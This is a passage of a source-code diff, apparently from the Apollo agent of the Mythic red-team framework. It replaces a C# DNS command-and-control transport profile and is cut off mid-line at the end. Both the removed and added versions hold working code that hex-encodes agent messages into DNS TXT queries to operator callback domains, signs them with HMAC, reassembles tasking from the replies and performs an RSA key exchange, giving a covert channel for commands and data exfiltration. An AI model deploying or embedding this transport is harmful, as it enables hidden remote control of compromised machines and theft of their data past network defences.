this.channel = channel; - - } - - - this.is_init = true; - this.bit_flip = this.agent_turn; - this.next_seq = seq; - this.init_seq = seq; - } - } - catch (Exception ex) - { - result = ""; - } - } - - - public int get_maximum_size_dns(string prefix, string domain) - { - return (255 - prefix.Length - domain.Length - 32 - 8); - } - - public List SplitByLength(string str, int maxLength) - { - List parts = new List(); - for (int index = 0; index < str.Length; index += maxLength) - { - parts.Add(str.Substring(index, Math.Min(maxLength, str.Length - index))); - } - return parts; - } - - - public void setup_message_list(string message, string domain, bool is_cache) - { - IEnumerable dns_msg_arr; - //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); - int maximum_size_messages = 63; - if (is_cache == false) - { - byte[] ba_str = Encoding.Default.GetBytes(message); - var hexString = BitConverter.ToString(ba_str); - hexString = hexString.Replace("-", ""); - dns_msg_arr = this.SplitByLength(hexString, maximum_size_messages); - } - else - { - dns_msg_arr = this.SplitByLength(message, maximum_size_messages); - } - int index = 0; - foreach (var msg_chunk in dns_msg_arr) - { - this.dns_msg[index] = msg_chunk; - index = index + 1; - } - this.end_seq = this.next_seq + this.dns_msg.Count; - this.bit_flip = this.agent_turn; - } - - public void add_packet(int seq, string packet) - { - lock (lockerDnsMsg) - { - - int packet_pos = seq - this.init_seq; - - - this.dns_msg[packet_pos] = packet; - - if (this.dns_msg.Count == this.message_count) - { - this.bit_flip = this.reset_turn; - } - } - } - - //send dns query using thread - //mesg : _______.___________.________.________.__________ - // PREFIX SID + SEQ BYTES HMAC DOMAIN - public void dnsquery(int seq, string domain, bool is_cache) - { - string result = ""; - try - { - string message; - if (this.bit_flip == this.agent_turn) - { - if (this.dns_msg.ContainsKey(seq - this.init_seq) && is_cache == false) - { - message = this.dns_msg[seq - this.init_seq]; - } - else - { - if (is_cache == true) - { - message = this.dns_msg[0]; - } - else - { - this.bit_flip = this.message_count_turn; - return; - } - } - } - else - { - int maximum_size_messages = 63; - message = GenerateUniqueHexString(maximum_size_messages); - } - try - { - string hex_channel = String.Format("{0:X2}", this.channel); - string hex_seq = String.Format("{0:X6}", seq); - - var tsid = hex_channel + this.bit_flip + hex_seq; - var data = Encoding.UTF8.GetBytes(tsid + message); - var key = Encoding.UTF8.GetBytes(HmacKey); - var hmac = new HMACMD5(key); - var hashBytes = hmac.ComputeHash(data); - string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); - - string data_query = DefaultMessagePrefix + "." + tsid + "." + message + "." + hmac_section + "." + domain; - result = ""; - - result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); - } - catch (Exception ex) - { - result = null; - } - if (!string.IsNullOrEmpty(result)) - { - - try - { - Dictionary dFields = parse_message(result); - int resp_bit_flip = Int32.Parse(dFields["bit_flip"]); - if (resp_bit_flip == this.message_count_turn) - { - this.bit_flip = this.message_count_turn; - return; - } - if (resp_bit_flip == this.agent_turn || resp_bit_flip == this.server_turn) - { - int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); - int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); - - if (this.bit_flip == this.agent_turn) - { - if (this.next_seq < seq_resp) - { - this.next_seq = seq_resp; - } - if (seq_resp >= this.end_seq) - { - this.bit_flip = this.message_count_turn; - } - if (is_cache == true) - { - this.bit_flip = this.message_count_turn; - this.next_seq = this.end_seq; - } - } - else - { - if (Int32.Parse(dFields["bit_flip"]) == 2) - { - if (dFields.ContainsKey("data") && !string.IsNullOrEmpty(dFields["data"])) - { - try - { - add_packet(seq_resp, dFields["data"]); - } - catch (Exception ex) - { - this.bit_flip = this.reset_turn; - } - } - } - } - } - if (Int32.Parse(dFields["bit_flip"]) == 4) - { - this.bit_flip = this.reset_turn; - } - reset_error_count(); - } - catch (Exception ex) - { - result = ""; - } - } - else - { - set_error(); - } - } - catch (Exception ex) - { - } - } - - public void setup_thread_reqs(int seq, string domain, bool is_cache) - { - if (this.bit_flip == this.agent_turn) - { - if (is_cache == true) - { - dnsquery(seq, domain, is_cache); - } - else - { - for (int i = 0; i < this.max_threads_conn && seq + i < this.end_seq && this.bit_flip == this.agent_turn; i++) - { - check_fallback(); - Thread dnsthread = new Thread(() => dnsquery(seq + i, domain, is_cache)); - dnsthread.Start(); - threads_msg[i] = dnsthread; - } - for (int i = 0; i < max_threads_conn; i++) - { - threads_msg[i].Join(); - } - } - } - else - { - try - { - for (int i = 0; i < this.next_msg_queue.Length && i < this.message_count && i < this.max_threads_conn && this.bit_flip == this.server_turn; i++) - { - check_fallback(); - int new_start = seq + this.next_msg_queue[i]; - Thread dnsthread = new Thread(() => dnsquery(new_start, domain, is_cache)); - dnsthread.Start(); - threads_msg[i] = dnsthread; - } - for (int i = 0; i < max_threads_conn; i++) - { - threads_msg[i].Join(); - } - } - catch (Exception ex) - {} - } - } - - public void send_dns_data(string domain, bool is_cache) - { - while (this.bit_flip == this.agent_turn) - { - if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) - { - throw new Exception("Fallback"); - } - if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) - { - set_fallback(); - } - int starting_point = this.next_seq; - setup_thread_reqs(starting_point, domain, is_cache); - } - } - public string GenerateUniqueHexString(int length) - { - string StringChars = "0123456789abcdef"; - Random rand = new Random(); - var charList = StringChars.ToArray(); - string hexString = ""; - - for (int i = 0; i < length; i++) - { - int randIndex = rand.Next(0, charList.Length); - hexString += charList[randIndex]; - } - - return hexString; - } - - public void set_message_count(string domain) - { - while (this.bit_flip == this.message_count_turn) - { - check_fallback(); - //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); - string result = ""; - try - { - int maximum_size_messages = 63; - string random_message = GenerateUniqueHexString(maximum_size_messages); - - string hex_channel = String.Format("{0:X2}", channel); - string hex_seq = String.Format("{0:X6}", this.next_seq); - - var tsid = hex_channel + this.bit_flip + hex_seq; - var data = Encoding.UTF8.GetBytes(tsid + random_message); - var key = Encoding.UTF8.GetBytes(HmacKey); - var hmac = new HMACMD5(key); - var hashBytes = hmac.ComputeHash(data); - string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); - - string data_query = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + domain; - - result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); - } - catch (Exception ex) - { - } - //setup next x threads ( x = max_threads_conn) - // - if (!string.IsNullOrEmpty(result)) - { - Dictionary dFields = parse_message(result); - int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); - int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); - - this.init_seq = seq_resp; - this.next_seq = 0; - this.message_count = int.Parse(dFields["data"], System.Globalization.NumberStyles.HexNumber); - this.bit_flip = this.server_turn; - this.end_seq = seq_resp + this.message_count; - this.dns_msg.Clear(); - reset_error_count(); - } - else - { - set_error(); - if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) - { - throw new Exception("Fallback"); - } - if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) - { - set_fallback(); - } - } - } - } - - public void message_organizer() - { - //while (this.bit_flip == this.server_turn) - //{ - //keep walking in the packets dictionary - //until there is a gap - //fill the next msg queue with the gap considering the maximum count of threads - while (this.dns_msg.ContainsKey(this.next_seq) && this.next_seq < this.message_count) - { - this.next_seq = this.next_seq + 1; - } - - for (int i = 0; i < max_threads_conn && this.bit_flip == this.server_turn; i++) - { - if ((this.next_seq + i) < this.message_count) - { - this.next_msg_queue[i] = this.next_seq + i; - } - else - { - this.next_msg_queue[i] = this.next_seq; - } - - } - //} - } - - public void init_next_msg_queue() - { - for (int i = 0; i < next_msg_queue.Length; i++) - { - next_msg_queue[i] = i; - } - } - - public string get_dns_data(string domain, bool is_cache) - { - this.bit_flip = this.server_turn; - init_next_msg_queue(); - //Thread msgorganizer_thread = new Thread(() => message_organizer()); - //msgorganizer_thread.Start(); - int starting_point = this.init_seq; - while (this.bit_flip == this.server_turn) - { - //setup next x threads ( x = max_threads_conn) - // - if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) - { - throw new Exception("Fallback"); - } - if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) - { - set_fallback(); - } - try - { - setup_thread_reqs(starting_point, domain, is_cache); - } - catch (Exception ex) - { - } - message_organizer(); - } - return build_message(); - } - - public static string HextoString(string InputText) - { - - byte[] bb = Enumerable.Range(0, InputText.Length) - .Where(x => x % 2 == 0) - .Select(x => Convert.ToByte(InputText.Substring(x, 2), 16)) - .ToArray(); - return System.Text.Encoding.ASCII.GetString(bb); - } - - public string build_message() - { - string full_msg = ""; - for (int i = 0; i < this.message_count; i++) - { - full_msg = full_msg + this.dns_msg[i]; - } - if (full_msg == this.cache_code) - { - return full_msg; - } - full_msg = HextoString(full_msg); - return full_msg; - } - - - public void Start() - { - bool first = true; - while (Agent.IsAlive()) - { - bool bRet = GetTasking(delegate (MessageResponse resp) - { - return Agent.GetTaskManager().ProcessMessageResponse(resp); - }); - - if (!bRet) - { - break; - } - - Agent.Sleep(); - } - } - - private bool GetTasking(OnResponse onResp) - { - return Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage msg) - { - return SendRecv(msg, onResp); - }); - } - - public bool IsOneWay() - { - return false; - } - - public bool Send(T message) - { - throw new Exception("DnsProfile does not support Send only."); - } - - public bool Recv(OnResponse onResponse) - { - throw new Exception("DnsProfile does not support Recv only."); - } - - public bool Recv(MessageType mt, OnResponse onResp) - { - throw new NotImplementedException("DnsProfile does not support Recv only."); - } - - public bool CompareMessages(T message, TaskingMessage previous_message) - { - try - { - - TaskingMessage new_message = (TaskingMessage)(object)message; - if (new_message.GetTypeCode() != MessageType.TaskingMessage) - { - return false; - } - if (previous_message.Equals(message)) - { - return true; - } - else - { - return false; - } - } - catch (Exception ex) - { } - return false; - } - - - public bool SendRecv(T message, OnResponse onResponse) - { - - string sMsg = ""; - string payload = ""; - bool is_cache = false; - string auxMsg = aux_serial.Serialize(message); - if (auxMsg == this.cached_message_client) - { - is_cache = true; - sMsg = this.cache_code; - } - else - { - this.cached_message_client = auxMsg; - sMsg = Serializer.Serialize(message); - } - string result; - int busyCount = 0; - string domain = get_random_domain_query(); - setup_message_list(sMsg, domain, is_cache); - int count = 0; - while (true) - { - try - { - send_dns_data(domain, is_cache); - set_message_count(domain); - string enc_message = get_dns_data(domain, is_cache);//sent dns data, start receiving response - if (enc_message == this.cache_code) - { - result = this.cached_message_server; - } - else - { - result = enc_message; - this.cached_message_server = result; - onResponse(Serializer.Deserialize(result)); - } - - reset_cycle(); - break; - } - - catch (Exception ex) - { - if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) - { - reset_init_all(); - } - return false; - } - } - //DebugWriteLine("Releasing egress mutex handle..."); - count = count + 1; - return true; - } - - // Only really used for bind servers so this returns empty - public bool Connect() - { - return true; - } - - public bool IsConnected() - { - return Connected; - } - - public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) - { - if (EncryptedExchangeCheck && !_uuidNegotiated) - { - var rsa = Agent.GetApi().NewRSAKeyPair(4096); - - EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() - { - Action = "staging_rsa", - PublicKey = rsa.ExportPublicKey(), - SessionID = rsa.SessionId - }; - - if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake) - { - byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); - ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); - ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); - return true; - })) - { - return false; - } - } - string msg = Serializer.Serialize(checkinMsg); - return SendRecv(checkinMsg, delegate (MessageResponse mResp) - { - Connected = true; - if (!_uuidNegotiated) - { - ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); - _uuidNegotiated = true; - } - return onResp(mResp); - }); - } - - } -} +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using ApolloInterop.Serializers; +using System.Net; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using ApolloInterop.Enums.ApolloEnums; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using DnsRip; + +namespace DnsTransport +{ + public class DnsProfile : C2Profile, IC2Profile + { + private int server_turn = 2; + private int agent_turn = 1; + private int message_count_turn = 3; + private int reset_turn = 4; + private string cache_code = ""; + private string cached_message_server = ""; + private string cached_message_client = ""; + private int CallbackInterval; + private int CallbackJitter; + private bool EncryptedExchangeCheck; + private string TerminateDate; + private object lockerSend = new object(); + private object lockerErrorCount = new object(); + + public object lockerDnsMsg = new object(); + private string InitializationMessagePrefix; + private string DefaultMessagePrefix; + private string HmacKey; + + public JsonSerializer aux_serial = new JsonSerializer(); + + Dictionary threads_msg = new Dictionary(); + Dictionary dns_msg = new Dictionary(); + + public volatile bool is_fallback = false; + public volatile int error_count_p1 = 0; + public volatile int error_count_p2 = 0; + private int MAX_ERROR_TOLERANCE_1 = 50; + private int MAX_ERROR_TOLERANCE_2 = 25; + private volatile int max_threads_conn = 10; + int[] next_msg_queue; + Thread next_msg_organizer; + + private bool is_init = false; + private bool finished_sending = false; + private int message_count = 0; + + List domains; + private volatile int bit_flip = 0; + DnsRip.Resolver dnsRip; + private int channel; + private int init_seq; + private volatile int next_seq; + private int end_seq; + + + private bool _uuidNegotiated = false; + + public DnsProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) + { + CallbackInterval = int.Parse(data["callback_interval"]); + CallbackJitter = int.Parse(data["callback_jitter"]); + InitializationMessagePrefix = data["msginit"]; + DefaultMessagePrefix = data["msgdefault"]; + HmacKey = data["hmac_key"]; + EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; + // Necessary to disable certificate validation + domains = data["callback_domains"].Split(',').ToList(); + this.next_msg_queue = new int[this.max_threads_conn]; + dnsRip = new DnsRip.Resolver(GetDnsAddress()); + Agent.SetSleep(CallbackInterval, CallbackJitter); + reset_init_all(); + } + + public void reset_init_all() + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.finished_sending = false; + this.bit_flip = 0; + this.is_init = false; + this.cached_message_client = ""; + this.cached_message_server = ""; + channel = initialize_ch_seq(0,200); + init_seq = initialize_ch_seq(200,400); + this.dns_msg.Clear(); + initialize_Channel_conn(); + + } + + + public void set_error() + { + lock (lockerErrorCount) + { + if (this.is_fallback == false) + { + this.error_count_p1 += 1; + } + else + { + this.error_count_p2 += 1; + } + } + + } + + public void reset_error_count() + { + lock (lockerErrorCount) + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.is_fallback = false; + this.max_threads_conn = 10; + } + } + + public void set_fallback() + { + this.max_threads_conn = 1; + this.is_fallback = true; + + } + + public void check_fallback() + { + if (this.is_fallback == true) + { + Thread.Sleep(this.CallbackInterval * 1000); + } + } + + + //message pattern: + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + //hmac = (md5) 32 + // seq + sid = 8 + //prefix = ~ + //domain = ~ + + public string GetDnsAddress() + { + while (true) + { + NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + + foreach (NetworkInterface networkInterface in networkInterfaces) + { + if (networkInterface.OperationalStatus == OperationalStatus.Up) + { + IPInterfaceProperties ipProperties = networkInterface.GetIPProperties(); + IPAddressCollection dnsAddresses = ipProperties.DnsAddresses; + + foreach (IPAddress dnsAdress in dnsAddresses) + { + if (dnsAdress.AddressFamily == AddressFamily.InterNetwork) + { + return dnsAdress.ToString(); + } + + } + } + } + Agent.Sleep(); + } + } + + public int initialize_ch_seq(int i, int y) + { + Random rd_ch = new Random(); + return rd_ch.Next(i, y); + } + + + + public void initialize_Channel_conn() + { + while (is_init == false) + { + send_init_request(); + Agent.Sleep(); + } + } + + public string get_random_domain_query() + { + var random = new Random(); + int index = random.Next(domains.Count); + return domains[index]; + } + + public Dictionary parse_message(string message) + { + + string[] fields = message.Split('.'); + Dictionary dFields = new Dictionary(); + dFields["tsid"] = fields[0]; + dFields["bit_flip"] = fields[1]; + dFields["data"] = fields[2]; + return dFields; + } + + public bool send_reset_request() + { + + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", this.init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + string message = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + set_error(); + result = ""; + + return false; + } + + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + this.dns_msg.Clear(); + reset_error_count(); + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { + result = ""; + return false; + } + } + + public void reset_cycle() + { + this.dns_msg.Clear(); + this.message_count = 0; + while (true) + { + check_fallback(); + if (send_reset_request() == true) + { + break; + } + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + + } + + public void send_init_request() + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + this.cache_code = random_message; + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + string message = InitializationMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = ""; + } + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + + this.is_init = true; + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + } + } + catch (Exception ex) + { + result = ""; + } + } + + + public int get_maximum_size_dns(string prefix, string domain) + { + return (255 - prefix.Length - domain.Length - 32 - 8); + } + + public List SplitByLength(string str, int maxLength) + { + List parts = new List(); + for (int index = 0; index < str.Length; index += maxLength) + { + parts.Add(str.Substring(index, Math.Min(maxLength, str.Length - index))); + } + return parts; + } + + + public void setup_message_list(string message, string domain, bool is_cache) + { + int index = 0; + IEnumerable dns_msg_arr; + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + int maximum_size_messages = 63; + if (is_cache == false) + { + byte[] ba_str = Encoding.Default.GetBytes(message); + var hexString = BitConverter.ToString(ba_str); + hexString = hexString.Replace("-", ""); + dns_msg_arr = this.SplitByLength(hexString, maximum_size_messages); + foreach (var msg_chunk in dns_msg_arr) + { + this.dns_msg[index] = msg_chunk; + index = index + 1; + } + } + else + { + dns_msg_arr = this.SplitByLength(message, maximum_size_messages); + this.dns_msg[index] = message; + } + index = 0; + this.end_seq = this.next_seq + this.dns_msg.Count - 1; + this.bit_flip = this.agent_turn; + } + + public void add_packet(int seq, string packet) + { + lock (lockerDnsMsg) + { + + int packet_pos = seq - this.init_seq; + this.dns_msg[packet_pos] = packet; + if (this.dns_msg.Count == this.message_count) + { + this.bit_flip = this.reset_turn; + } + } + } + + //send dns query using thread + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + public void dnsquery(int seq, string domain, bool is_cache) + { + string result = ""; + try + { + string message = ""; + if (this.bit_flip == this.agent_turn) + { + if (this.dns_msg.ContainsKey(seq - this.init_seq) && is_cache == false) + { + message = this.dns_msg[seq - this.init_seq]; + } + else + { + if (is_cache == true) + { + message = this.dns_msg[0]; + } + } + } + else + { + int maximum_size_messages = 63; + message = GenerateUniqueHexString(maximum_size_messages); + } + try + { + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + message + "." + hmac_section + "." + domain; + result = ""; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = null; + } + if (!string.IsNullOrEmpty(result)) + { + + try + { + Dictionary dFields = parse_message(result); + int resp_bit_flip = Int32.Parse(dFields["bit_flip"]); + if (resp_bit_flip == this.message_count_turn) + { + this.bit_flip = this.message_count_turn; + return; + } + if (resp_bit_flip == this.agent_turn || resp_bit_flip == this.server_turn) + { + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (this.bit_flip == this.agent_turn) + { + if (this.next_seq < seq_resp) + { + this.next_seq = seq_resp - 1; + } + if (seq_resp > this.end_seq) + { + this.bit_flip = this.message_count_turn; + } + if (is_cache == true) + { + this.bit_flip = this.message_count_turn; + this.next_seq = this.end_seq; + } + } + else + { + if (Int32.Parse(dFields["bit_flip"]) == 2) + { + if (dFields.ContainsKey("data") && !string.IsNullOrEmpty(dFields["data"])) + { + try + { + add_packet(seq_resp, dFields["data"]); + } + catch (Exception ex) + { + this.bit_flip = this.reset_turn; + } + } + } + } + } + if (Int32.Parse(dFields["bit_flip"]) == 4) + { + this.bit_flip = this.reset_turn; + } + reset_error_count(); + } + catch (Exception ex) + { + result = ""; + } + } + else + { + set_error(); + } + } + catch (Exception ex) + { + } + } + + public void setup_thread_reqs(int seq, string domain, bool is_cache) + { + if (this.bit_flip == this.agent_turn) + { + if (is_cache == true) + { + dnsquery(seq, domain, is_cache); + } + else + { + for (int i = 0; i < this.max_threads_conn && seq + i <= this.end_seq && this.bit_flip == this.agent_turn; i++) + { + check_fallback(); + Thread dnsthread = new Thread(() => dnsquery(seq + i, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + } + else + { + try + { + for (int i = 0; i < this.next_msg_queue.Length && i < this.message_count && i < this.max_threads_conn && this.bit_flip == this.server_turn; i++) + { + check_fallback(); + int new_start = seq + this.next_msg_queue[i]; + Thread dnsthread = new Thread(() => dnsquery(new_start, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + catch (Exception ex) + {} + } + } + + public void send_dns_data(string domain, bool is_cache) + { + while (this.bit_flip == this.agent_turn) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + int starting_point = this.next_seq; + setup_thread_reqs(starting_point, domain, is_cache); + } + } + public string GenerateUniqueHexString(int length) + { + string StringChars = "0123456789abcdef"; + Random rand = new Random(); + var charList = StringChars.ToArray(); + string hexString = ""; + + for (int i = 0; i < length; i++) + { + int randIndex = rand.Next(0, charList.Length); + hexString += charList[randIndex]; + } + + return hexString; + } + + public void set_message_count(string domain) + { + while (this.bit_flip == this.message_count_turn) + { + check_fallback(); + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + string result = ""; + try + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", this.next_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + domain; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + } + //setup next x threads ( x = max_threads_conn) + // + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + this.init_seq = seq_resp; + this.next_seq = 0; + this.message_count = int.Parse(dFields["data"], System.Globalization.NumberStyles.HexNumber); + this.bit_flip = this.server_turn; + this.end_seq = seq_resp + this.message_count; + this.dns_msg.Clear(); + reset_error_count(); + } + else + { + set_error(); + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + } + } + + public void message_organizer() + { + //while (this.bit_flip == this.server_turn) + //{ + //keep walking in the packets dictionary + //until there is a gap + //fill the next msg queue with the gap considering the maximum count of threads + while (this.dns_msg.ContainsKey(this.next_seq) && this.next_seq < this.message_count) + { + this.next_seq = this.next_seq + 1; + } + + for (int i = 0; i < max_threads_conn && this.bit_flip == this.server_turn; i++) + { + if ((this.next_seq + i) < this.message_count) + { + this.next_msg_queue[i] = this.next_seq + i; + } + else + { + this.next_msg_queue[i] = this.next_seq; + } + + } + //} + } + + public void init_next_msg_queue() + { + for (int i = 0; i < next_msg_queue.Length; i++) + { + next_msg_queue[i] = i; + } + } + + public string get_dns_data(string domain, bool is_cache) + { + this.bit_flip = this.server_turn; + init_next_msg_queue(); + int starting_point = this.init_seq; + while (this.bit_flip == this.server_turn) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + try + { + setup_thread_reqs(starting_point, domain, is_cache); + } + catch (Exception ex) + { + } + message_organizer(); + } + return build_message(); + } + + public static string HextoString(string InputText) + { + + byte[] bb = Enumerable.Range(0, InputText.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(InputText.Substring(x, 2), 16)) + .ToArray(); + return System.Text.Encoding.ASCII.GetString(bb); + } + + public string build_message() + { + string full_msg = ""; + for (int i = 0; i < this.message_count; i++) + { + full_msg = full_msg + this.dns_msg[i]; + } + if (full_msg == this.cache_code) + { + return full_msg; + } + full_msg = HextoString(full_msg); + return full_msg; + } + + + public void Start() + { + bool first = true; + while (Agent.IsAlive()) + { + bool bRet = GetTasking(delegate (MessageResponse resp) + { + return Agent.GetTaskManager().ProcessMessageResponse(resp); + }); + + if (!bRet) + { + break; + } + + Agent.Sleep(); + } + } + + private bool GetTasking(OnResponse onResp) + { + return Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage msg) + { + return SendRecv(msg, onResp); + }); + } + + public bool IsOneWay() + { + return false; + } + + public bool Send(T message) + { + throw new Exception("DnsProfile does not support Send only."); + } + + public bool Recv(OnResponse onResponse) + { + throw new Exception("DnsProfile does not support Recv only."); + } + + public bool Recv(MessageType mt, OnResponse onResp) + { + throw new NotImplementedException("DnsProfile does not support Recv only."); + } + + public bool CompareMessages(T message, TaskingMessage previous_message) + { + try + { + + TaskingMessage new_message = (TaskingMessage)(object)message; + if (new_message.GetTypeCode() != MessageType.TaskingMessage) + { + return false; + } + if (previous_message.Equals(message)) + { + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { } + return false; + } + + + public bool SendRecv(T message, OnResponse onResponse) + { + string sMsg = ""; + string payload = ""; + bool is_cache = false; + string auxMsg = aux_serial.Serialize(message); + if (auxMsg == this.cached_message_client) + { + is_cache = true; + sMsg = this.cache_code; + } + else + { + this.cached_message_client = auxMsg; + sMsg = Serializer.Serialize(message); + } + string result; + int busyCount = 0; + string domain = get_random_domain_query(); + setup_message_list(sMsg, domain, is_cache); + int count = 0; + while (true) + { + try + { + send_dns_data(domain, is_cache); + set_message_count(domain); + string enc_message = get_dns_data(domain, is_cache);//sent dns data, start 